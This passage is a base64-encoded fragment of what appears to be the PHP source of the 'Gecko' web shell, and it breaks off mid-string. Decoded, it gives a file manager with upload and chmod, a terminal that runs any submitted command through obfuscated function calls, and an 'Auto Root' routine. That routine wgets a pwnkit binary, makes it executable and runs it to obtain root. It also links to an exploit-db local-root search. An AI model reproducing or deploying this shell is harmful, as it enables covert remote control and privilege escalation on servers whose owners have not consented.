dC1zaGVsbCI+CiAgICAgICAgPHVsPgogICAgICAgICAgICA8bGk+PD89ICRmdW5nc2lbMTFdKCk7ID8+PC9saT4KICAgICAgICAgICAgPGxpPjw/PSAkX1NFUlZFUlskZnVuZ3NpWzIzXV07ID8+PC9saT4KICAgICAgICAgICAgPGxpPlNlcnZlciBJUCA6IDw/PSAkX1NFUlZFUlsnU0VSVkVSX0FERFInXTsgPz4gJiBZb3VyIElQIDogPD89ICRfU0VSVkVSWydSRU1PVEVfQUREUiddOyA/PjwvbGk+CiAgICAgICAgICAgIDxsaT5Eb21haW5zIDogPD89IHN5bWxpbmtEb21haW4oKTsgPz48L2xpPgogICAgICAgICAgICA8bGk+CiAgICAgICAgICAgICAgICBVc2VyIDogPD89ICRmdW5nc2lbMjJdKCk7ID8+CiAgICAgICAgICAgIDwvbGk+CiAgICAgICAgICAgIDxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Ijw/PSAkZnVuZ3NpWzMyXSA/PiI+CiAgICAgICAgICAgICAgICA8bGk+PGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9ImdlY2tvLWZpbGUiIGlkPSIiPjxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJ1cGxvYWQtc3VibWl0IiBuYW1lPSJ1cGxvYWQtc3VibWl0IiB2YWx1ZT0iVXBsb2FkIj48L2xpPgogICAgICAgICAgICA8L2Zvcm0+CiAgICAgICAgPC91bD4KICAgICAgICA8ZGl2IGNsYXNzPSJ0b29sLW1lbnUtaGVhZGVyIj4KICAgICAgICAgICAgPGRpdiBjbGFzcz0ibGlzdC10b29sIj4KICAgICAgICAgICAgICAgIDx1bCBjbGFzcz0idG9vbC1tZW51Ij4KICAgICAgICAgICAgICAgICAgICA8bGk+PGEgaHJlZj0iP2Rpcj08Pz0gaGV4KCRmdW5nc2lbOV0oKSk7ID8+JmFjdGlvbj10ZXJtaW5hbCIgY2xhc3M9IiI+PGkgY2xhc3M9ImZhLXNvbGlkIGZhLXRlcm1pbmFsIj48L2k+Jm5ic3A7VGVybWluYWw8L2E+PC9saT4KICAgICAgICAgICAgICAgICAgICA8bGk+PGEgaHJlZj0iP2Rpcj08Pz0gaGV4KCRmdW5nc2lbOV0oKSk7ID8+JmFjdGlvbj1yb290LXRlcm1pbmFsIiBjbGFzcz0iIj48aSBjbGFzcz0iZmEtc29saWQgZmEtY29kZSI+PC9pPiZuYnNwO0F1dG8gUm9vdDwvYT48L2xpPgogICAgICAgICAgICAgICAgICAgIDxsaT48YSBocmVmPSI/ZGlyPTw/PSBoZXgoJGZ1bmdzaVs5XSgpKTsgPz4mY3JlYXRlPWZpbGUiIGNsYXNzPSIiPjxpIGNsYXNzPSJmYS1zb2xpZCBmYS1maWxlLWNpcmNsZS1wbHVzIj48L2k+Jm5ic3A7Q3JlYXRlIEZpbGU8L2E+PC9saT4KICAgICAgICAgICAgICAgICAgICA8bGk+PGEgaHJlZj0iP2Rpcj08Pz0gaGV4KCRmdW5nc2lbOV0oKSk7ID8+JmNyZWF0ZT1mb2xkZXIiIGNsYXNzPSIiPjxpIGNsYXNzPSJmYS1zb2xpZCBmYS1mb2xkZXItcGx1cyI+PC9pPiZuYnNwO0NyZWF0ZSBGb2xkZXI8L2E+PC9saT4KICAgICAgICAgICAgICAgICAgICA8bGk+PGEgaHJlZj0iaHR0cHM6Ly93d3cuZXhwbG9pdC1kYi5jb20vc2VhcmNoP3E9TGludXglMjBLZXJuZWwlMjA8Pz0gbGludXhfdmVyc2lvbigpOyA/PiIgY2xhc3M9IiI+PGkgY2xhc3M9ImZhLXNvbGlkIGZhLWJ1ZyI+PC9pPiZuYnNwO0xvY2Fscm9vdCBTdWdnZXN0ZXI8L2E+PC9saT4KICAgICAgICAgICAgICAgICAgICA8bGk+PGEgaHJlZj0iP2Rpcj08Pz0gaGV4KCRmdW5nc2lbOV0oKSk7ID8+JmJhY2tkb29yPXRydWUiIGNsYXNzPSIiPjxpIGNsYXNzPSJmYS1zb2xpZCBmYS12aXJ1cyI+PC9pPiZuYnNwO0JhY2tkb29yIERlc3Ryb3llcjwvYT48L2xpPgogICAgICAgICAgICAgICAgICAgIDxsaT48YSBocmVmPSJodHRwczovL2dpdGh1Yi5jb20vTWFkRXhwbG9pdHMvR2Vja28vIiBjbGFzcz0iIj48aSBjbGFzcz0iZmEtc29saWQgZmEtYm9vayI+PC9pPiZuYnNwO1JlYWRtZTwvYT48L2xpPgogICAgICAgICAgICAgICAgPC91bD4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgPC9kaXY+CiAgICAgICAgPGJyPgogICAgPC9kaXY+CiAgICA8ZGl2IGNsYXNzPSJib3JkZXIiPgogICAgICAgIDxkaXYgY2xhc3M9InB3ZCI+CiAgICAgICAgICAgIDxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0icHdkLWJvZHkiPgogICAgICAgICAgICAgICAgICAgIDw/cGhwCiAgICAgICAgICAgICAgICAgICAgJGN3ZCA9IHN0cl9yZXBsYWNlKCJcXCIsICIvIiwgJGdldF9jd2QpOyAvLyB1bnR1ayBkaXIgZ2FyaXMgd2luZG93cwogICAgICAgICAgICAgICAgICAgICRwd2QgPSBleHBsb2RlKCIvIiwgJGN3ZCk7CiAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoJHB3ZCBhcyAkaWQgPT4gJHZhbCkgewogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJHZhbCA9PSAnJyAmJiAkaWQgPT0gMCkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPGEgaHJlZj0iP2Rpcj0nIC4gaGV4KCcvJykgLiAnIj48aSBjbGFzcz0iZmEtc29saWQgZmEtZm9sZGVyLXBsdXMiPjwvaT4mbmJzcDsvIDwvYT4nOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCR2YWwgPT0gJycpIGNvbnRpbnVlOwogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8YSBocmVmPSI/ZGlyPSc7CiAgICAgICAgICAgICAgICAgICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gaGV4KCRwd2RbJGldKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkaSAhPSAkaWQpIGVjaG8gaGV4KCIvIik7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnIj4nIC4gJHZhbCAuICcgLyAnIC4gJzwvYT4nOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICA/PgogICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJzZXR0aW5ncyI+CiAgICAgICAgICAgICAgICAgICAgPHNlbGVjdCBuYW1lPSJhY3Rpb24tZ2Vja28iIGlkPSIiIGNsYXNzPSJhY3Rpb24tZ2Vja28iPgogICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSJkZWxldGUiPkRlbGV0ZTwvb3B0aW9uPgogICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSJ1bnppcCI+VW56aXA8L29wdGlvbj4KICAgICAgICAgICAgICAgICAgICA8L3NlbGVjdD4KICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0ic2VsZWN0LXN1Ym1pdCIgdmFsdWU9IlN1Ym1pdCIgbmFtZT0iZ2Vja28tc3VibWl0Ij4KICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgIDwvZGl2PgogICAgICAgIDx0YWJsZSBzdHlsZT0id2lkdGg6MTAwJTsiPgogICAgICAgICAgICA8dGhlYWQ+CiAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRoPk5hbWU8L3RoPgogICAgICAgICAgICAgICAgICAgIDx0aD5TaXplPC90aD4KICAgICAgICAgICAgICAgICAgICA8dGg+UGVybWlzc2lvbjwvdGg+CiAgICAgICAgICAgICAgICAgICAgPHRoPkRhdGU8L3RoPgogICAgICAgICAgICAgICAgICAgIDx0aD5BY3Rpb248L3RoPgogICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgPC90aGVhZD4KICAgICAgICAgICAgPHRib2R5PgogICAgICAgICAgICAgICAgPCEtLSBGT0xERVIgTllBIC0tPgogICAgICAgICAgICAgICAgPD9waHAgZm9yZWFjaCAoJHNjZGlyIGFzICRkaXIpIDogPz4KICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoJGZ1bmdzaVsxOF0oJGRpcikpIDogPz4KICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0iY2hlY2stZ2Vja29bXSIgaWQ9ImZvbGRlciIgdmFsdWU9Ijw/PSAkZGlyOyA/PiI+Jm5ic3A7PGxhYmVsIGZvcj0iZm9sZGVyIj48aSBjbGFzcz0iZmEtc29saWQgZmEtZm9sZGVyIj48L2k+Jm5ic3A7PGEgaHJlZj0iP2Rpcj08Pz0gaGV4KCRjd2QgLiAiLyIgLiAkZGlyKTsgPz4iIGNsYXNzPSJsaW5rLXNoZWxsIj48Pz0gJGRpcjsgPz48L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPlsgRElSIF08L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjw/cGhwIGlmICgkZnVuZ3NpWzE5XSgkZnVuZ3NpWzldKCkgLiAnLycgLiAkZGlyKSkgZWNobyAnPGZvbnQgY29sb3I9IiMwMGZmMDAiPic7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZWlmICghJGZ1bmdzaVsyMF0oJGZ1bmdzaVs5XSgpIC4gJy8nIC4gJGRpcikpIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPic7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyBwZXJtcygkZnVuZ3NpWzldKCkgLiAnLycgLiAkZGlyKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA/PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlY2hvIGRhdGUoCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJZLW0tZCBIOmkiLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZnVuZ3NpWzI0XSgkZGlyKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICk7ID8+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Ij9kaXI9PD89IGhleCgkZnVuZ3NpWzldKCkpID8+JnJlbmFtZT08Pz0gJGRpciA/PiI+PGkgY2xhc3M9ImZhLXNvbGlkIGZhLWZpbGUtcGVuIj48L2k+PC9hPiZuYnNwOzxhIGhyZWY9Ij9kaXI9PD89IGhleCgkZnVuZ3NpWzldKCkpID8+JmNobW9kPTw/PSAkZGlyID8+Ij48aSBjbGFzcz0iZmEtc29saWQgZmEtdXNlci1wZW4iPjwvaT48L2E+Jm5ic3A7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAgIDw/cGhwIGVuZGlmOyA/PgogICAgICAgICAgICAgICAgPD9waHAgZW5kZm9yZWFjaDsgPz4KICAgICAgICAgICAgICAgIDwhLS0gRklMRSBOWUEgLS0+CiAgICAgICAgICAgICAgICA8P3BocCBmb3JlYWNoICgkc2NkaXIgYXMgJF9maWxlKSA6ID8+CiAgICAgICAgICAgICAgICAgICAgPD9waHAgaWYgKCRmdW5nc2lbMTddKCRfZmlsZSkpIDogPz4KICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0iY2hlY2stZ2Vja29bXSIgaWQ9ImZvbGRlciIgdmFsdWU9Ijw/PSAkX2ZpbGU7ID8+Ij4mbmJzcDs8bGFiZWwgZm9yPSJmb2xkZXIiPjxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUiPjwvaT4mbmJzcDs8YSBocmVmPSI/ZGlyPTw/PSBoZXgoJGN3ZCAuICIvIik7ID8+JmY9PD89ICRfZmlsZTsgPz4iIGNsYXNzPSJsaW5rLXNoZWxsIj48Pz0gJF9maWxlOyA/PjwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQ+PD89IGZvcm1hdFNpemUoJGZ1bmdzaVsyMV0oJF9maWxlKSk7ID8+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoJGZ1bmdzaVsxOV0oJGZ1bmdzaVs5XSgpIC4gJy8nIC4gJF9maWxlKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iIzAwZmYwMCI+JzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2VpZiAoISRmdW5nc2lbMjBdKCRmdW5nc2lbOV0oKSAuICcvJyAuICRfZmlsZSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+JzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyBwZXJtcygkZnVuZ3NpWzldKCkgLiAnLycgLiAkX2ZpbGUpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID8+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVjaG8gZGF0ZSgKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIlktbS1kIEg6aSIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRmdW5nc2lbMjRdKCRfZmlsZSkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICApOyA/PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSI/ZGlyPTw/PSBoZXgoJGZ1bmdzaVs5XSgpKSA/PiZyZW5hbWU9PD89ICRfZmlsZSA/PiI+PGkgY2xhc3M9ImZhLXNvbGlkIGZhLWZpbGUtcGVuIj48L2k+PC9hPiZuYnNwOzxhIGhyZWY9Ij9kaXI9PD89IGhleCgkZnVuZ3NpWzldKCkpID8+JmRvd25sb2FkPTw/PSAkX2ZpbGUgPz4iPjxpIGNsYXNzPSJmYS1zb2xpZCBmYS1kb3dubG9hZCI+PC9pPjwvYT4mbmJzcDs8YSBocmVmPSI/ZGlyPTw/PSBoZXgoJGZ1bmdzaVs5XSgpKSA/PiZjaG1vZD08Pz0gJF9maWxlID8+Ij48aSBjbGFzcz0iZmEtc29saWQgZmEtdXNlci1wZW4iPjwvaT48L2E+Jm5ic3A7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAgIDw/cGhwIGVuZGlmOyA/PgogICAgICAgICAgICAgICAgPD9waHAgZW5kZm9yZWFjaDsgPz4KICAgICAgICAgICAgPC90Ym9keT4KICAgICAgICA8L3RhYmxlPgogICAgPC9kaXY+CiAgICA8YnI+CiAgICA8L2Zvcm0+CiAgICA8P3BocAogICAgaWYgKCRfR0VUWydjcmVhdGUnXSA9PSBUcnVlKSA6CiAgICA/PgogICAgICAgIDxkaXYgY2xhc3M9ImNyZWF0ZSI+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsIj4KICAgICAgICAgICAgICAgIDw/cGhwIGlmICgkX0dFVFsnY3JlYXRlJ10gPT0gImZpbGUiKSA6ICA/PgogICAgICAgICAgICAgICAgICAgIDxoZWFkZXI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxoMj48Pz0gJzxpIGNsYXNzPSJmYS1zb2xpZCBmYS1maWxlLWNpcmNsZS1wbHVzIj48L2k+Jm5ic3A7Q3JlYXRlIEZpbGUnOyA/PjwvaDI+CiAgICAgICAgICAgICAgICAgICAgPC9oZWFkZXI+CiAgICAgICAgICAgICAgICAgICAgPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJjcmVhdGVfZmlsZSIgaWQ9IiIgcGxhY2Vob2xkZXI9IiZuYnNwO05hbWEgRmlsZSI+CiAgICAgICAgICAgICAgICAgICAgPD9waHAgZWxzZWlmICgkX0dFVFsnY3JlYXRlJ10gPT0gImZvbGRlciIpIDogPz4KICAgICAgICAgICAgICAgICAgICAgICAgPGhlYWRlcj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxoMj48Pz0gJzxpIGNsYXNzPSJmYS1zb2xpZCBmYS1mb2xkZXItcGx1cyI+Jm5ic3A7PC9pPkNyZWF0ZSBGb2xkZXInOyA/PjwvaDI+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvaGVhZGVyPgogICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJjcmVhdGVfZm9sZGVyIiBpZD0iIiBwbGFjZWhvbGRlcj0iJm5ic3A7TmFtYSBGb2xkZXIiPgogICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgPz4KICAgICAgICAgICAgICAgICAgICAgICAgPHVsPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxpPjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdC1tb2RhbCIgY2xhc3M9ImJ0bi1tb2RhbCBmdy1ib2xkIiB2YWx1ZT0iU3VibWl0Ij48L2xpPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxpPjxhIGhyZWY9Ij9kaXI9PD89IGhleCgkZnVuZ3NpWzldKCkpOyA/PiI+Q2xvc2U8L2E+PC9saT4KICAgICAgICAgICAgICAgICAgICAgICAgPC91bD4KICAgICAgICAgICAgICAgICAgICAgICAgPC9mb3JtPgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICA8L2Rpdj4KICAgIDw/cGhwIGVuZGlmOyA/PgogICAgPD9waHAKICAgIGlmICgkX0dFVFsnYWN0aW9uJ10gPT0gInRlcm1pbmFsIikgOgogICAgPz4KICAgICAgICA8ZGl2IGNsYXNzPSJ0ZXJtaW5hbC1jb250ZW50Ij4KICAgICAgICAgICAgPGRpdiBjbGFzcz0idGVybWluYWwiPgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0idGVybWluYWwtYm9keSI+CiAgICAgICAgICAgICAgICAgICAgPGhlYWRlcj4KICAgICAgICAgICAgICAgICAgICAgICAgPGgzPjxpIGNsYXNzPSJmYS1zb2xpZCBmYS10ZXJtaW5hbCI+PC9pPiZuYnNwOzwvaDM+CiAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Ij9kaXI9PD89IGhleCgkZnVuZ3NpWzldKCkpOyA/PiI+PGkgY2xhc3M9ImZhLXNvbGlkIGZhLXhtYXJrIj48L2k+PC9hPgogICAgICAgICAgICAgICAgICAgIDwvaGVhZGVyPgogICAgICAgICAgICAgICAgICAgIDxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPgogICAgICAgICAgICAgICAgICAgICAgICA8Y2VudGVyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIHBsYWNlaG9sZGVyPSJ1bmFtZSAtYSIgbmFtZT0idGVybWluYWwiIGNsYXNzPSJ0ZXJtaW5hbC1pbnB1dCIgYXV0b2ZvY3VzPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9Ij4iIG5hbWU9InN1Ym1pdC10ZXJtaW5hbCIgY2xhc3M9InRlcm1pbmFsLXN1Ym1pdCI+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvY2VudGVyPgogICAgICAgICAgICAgICAgICAgIDwvZm9ybT4KICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoaXNzZXQoJF9QT1NUWydzdWJtaXQtdGVybWluYWwnXSkpIDogID8+CiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZXh0YXJlYSBjbGFzcz0ib3V0cHV0LXRlcm1pbmFsIiBkaXNhYmxlZD48Pz0gaHRtbHNwZWNpYWxjaGFycygkZnVuZ3NpWzE0XSgkX1BPU1RbJ3Rlcm1pbmFsJ10gLiAiIDI+JjEiKSk7ID8+PC90ZXh0YXJlYT4KICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgPz4KICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICA8L2Rpdj4KICAgIDw/cGhwIGVuZGlmOyA/PgogICAgPD9waHAgaWYgKCRfR0VUWydhY3Rpb24nXSA9PSAicm9vdC10ZXJtaW5hbCIpIDogPz4KICAgICAgICA8ZGl2IGNsYXNzPSJ0ZXJtaW5hbC1jb250ZW50Ij4KICAgICAgICAgICAgPGRpdiBjbGFzcz0idGVybWluYWwiPgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0idGVybWluYWwtYm9keSI+CiAgICAgICAgICAgICAgICAgICAgPGhlYWRlcj4KICAgICAgICAgICAgICAgICAgICAgICAgPGgzPjxpIGNsYXNzPSJmYS1zb2xpZCBmYS10ZXJtaW5hbCI+PC9pPiZuYnNwOzwvaDM+CiAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Ij9kaXI9PD89IGhleCgkZnVuZ3NpWzldKCkpOyA/PiI+PGkgY2xhc3M9ImZhLXNvbGlkIGZhLXhtYXJrIj48L2k+PC9hPgogICAgICAgICAgICAgICAgICAgIDwvaGVhZGVyPgogICAgICAgICAgICAgICAgICAgIDxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPgogICAgICAgICAgICAgICAgICAgICAgICA8Y2VudGVyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIHBsYWNlaG9sZGVyPSJyb290QHRlcm1pbmFsfiMiIG5hbWU9InRlcm1pbmFsLXJvb3QiIGNsYXNzPSJ0ZXJtaW5hbC1pbnB1dCIgYXV0b2ZvY3VzPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9Ij4iIG5hbWU9InN1Ym1pdC1yb290IiBjbGFzcz0idGVybWluYWwtc3VibWl0Ij4KICAgICAgICAgICAgICAgICAgICAgICAgPC9jZW50ZXI+CiAgICAgICAgICAgICAgICAgICAgPC9mb3JtPgogICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmIChpc3NldCgkX1BPU1RbJ3N1Ym1pdC1yb290J10pKSA6ICA/PgogICAgICAgICAgICAgICAgICAgICAgICA8dGV4dGFyZWEgY2xhc3M9Im91dHB1dC10ZXJtaW5hbCIgZGlzYWJsZWQ+Cjw/cGhwCiAgICAgICAgICAgICAgICAgICAgICAgICR0ZXJtaW5hbCA9ICRfUE9TVFsndGVybWluYWwtcm9vdCddOwogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJHRlcm1pbmFsID09ICJyb290IikgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiWytdIERvd25sb2FkaW5nIFRoZSBzb3VyY2UgXG4iOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAkZnVuZ3NpWzE0XSgid2dldCAiIC4gJGZ1bmdzaVszNF0gLiAiIC0tbm8tY2hlY2stY2VydGlmaWNhdGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIlshXSBDaG1vZCBmaWxlIHB3bmtpdC4uLi5cbiI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICRmdW5nc2lbMTRdKCJjaG1vZCAreCBwd25raXQiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIlsrXSBUZXN0aW5nIGlmIHRoaXMga2VybmVsIHZ1bG5lcmFibGUuLi5cbiI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICRmdW5nc2lbMTRdKCcuL3B3bmtpdCAiaWQiID4+IG1hZC1wd25raXQnKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRjaGVja192dWxuZXJhYmxlID0gJGZ1bmdzaVsyN10oJGZ1bmdzaVs5XSgpIC4gIi9tYWQtcHdua2l0Iik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZXhwbG9kZV9tYWRfcHdraXQgPSBleHBsb2RlKCIgIiwgJGNoZWNrX3Z1bG5lcmFibGUpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRleHBsb2RlX21hZF9wd2tpdFswXSA9PSAidWlkPTAocm9vdCkiKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiW35dIFRoaXMgS2VybmVsIGlzIHZ1bG5lcmFibGUgY29uZ3JhdHMhXG4iOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICJbIV0gVGhpcyBrZXJuZWwgaXMgbm90IFZ1bG5lcmFibGUgU29ycnkgOikiOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIlsrXSBHaXZpbmcgUGVybWlzc2lvbiBvbiBtYWQtcHdua2l0XG4iOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAkZnVuZ3NpWzE0XSgiY2htb2QgK3ggbWFkLXB3bmtpdCIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCEkZnVuZ3NpWzE0XSgnLi9wd25raXQgImlkIicpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiWyFdIENhbm5vdCBydW5uaW5nIHB3bmtpdCI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIlshXSBEb25lIFNpci4gbm93IHUgY2FuIHJ1bm5pbmcgb24gcm9vdCB1c2VyISI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZXhpdDsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGZ1bmdzaVsxNF0oJy4vcHdua2l0ICInIC4gJHRlcm1pbmFsIC4gJyInKSk7Cj8+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvdGV4dGFyZWE+CiAgICAgICAgICAgICAgICAgICAgPD9waHAgZW5kaWY7ID8+CiAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgPC9kaXY+CiAgICA8P3BocCBlbmRpZjsgPz4KICAgIDw/cGhwCiAgICBpZiAoaXNzZXQoJF9QT1NUWydzdWJtaXQtbW9kYWwnXSkpIHsKICAgICAgICBpZiAoJF9QT1NUWydjcmVhdGVfZmlsZSddKSB7CiAgICAgICAgICAgICRmaWxlID0gJF9QT1NUWydjcmVhdGVfZmlsZSddOwogICAgICAgICAgICBpZiAoJGZ1bmdzaVsyNV0oJGZpbGUpKSB7CiAgICAgICAgICAgICAgICBlY2hvIHN1Y2Nlc3MoKTsKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgIGVjaG8gZmFpbGVkKCk7CiAgICAgICAgICAgIH0KICAgICAgICB9IGVsc2VpZiAoJF9QT1NUWydjcmVhdGVfZm9sZGVyJ10pIHsKICAgICAgICAgICAgJGZvbGRlciA9ICRfUE9TVFsnY3JlYXRlX2ZvbGRlciddOwogICAgICAgICAgICBpZiA